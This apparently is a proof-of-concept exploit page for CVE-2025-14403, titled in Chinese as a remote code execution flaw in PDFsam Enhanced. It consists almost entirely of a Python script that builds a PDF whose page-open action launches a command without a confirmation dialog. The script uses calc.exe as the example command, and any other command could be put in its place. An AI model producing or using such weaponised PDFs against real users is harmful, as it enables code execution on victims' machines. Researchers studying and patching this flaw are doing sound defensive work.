CVE-2025-14403: PDFsam Enhanced Launch远程代码执行漏洞

# CVE-2025-14403 PoC - Malicious PDF with Launch Action # This PoC demonstrates the vulnerability in PDFsam Enhanced # Target: PDFsam Enhanced with vulnerable Launch action implementation import sys def create_malicious_pdf(): """Generate a malicious PDF file with embedded Launch action""" # Malicious command to execute (example: calc.exe on Windows) malicious_command = "calc.exe" # PDF content with Launch action pdf_content = f"""%PDF-1.7 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /AA << /O 5 0 R >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (PDFsam Enhanced Launch Action PoC) Tj ET endstream endobj 5 0 obj << /Type /Action /S /Launch /F << /F ({malicious_command}) /D () >> >> endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000266 00000 n 0000000380 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 455 %%EOF""" return pdf_content def main(): print("CVE-2025-14403 PoC Generator") print("=" * 50) print("Target: PDFsam Enhanced") print("Vulnerability: Insufficient UI Warning in Launch Action") print("=" * 50) # Generate malicious PDF pdf = create_malicious_pdf() # Save to file output_file = "CVE-2025-14403_poc.pdf" with open(output_file, 'w') as f: f.write(pdf) print(f"\nMalicious PDF created: {output_file}") print("\nWhen opened with vulnerable PDFsam Enhanced:") print("- The malicious command will be executed without warning") print("- No user confirmation dialog is displayed") print("- Code executes in context of current user") if __name__ == "__main__": main()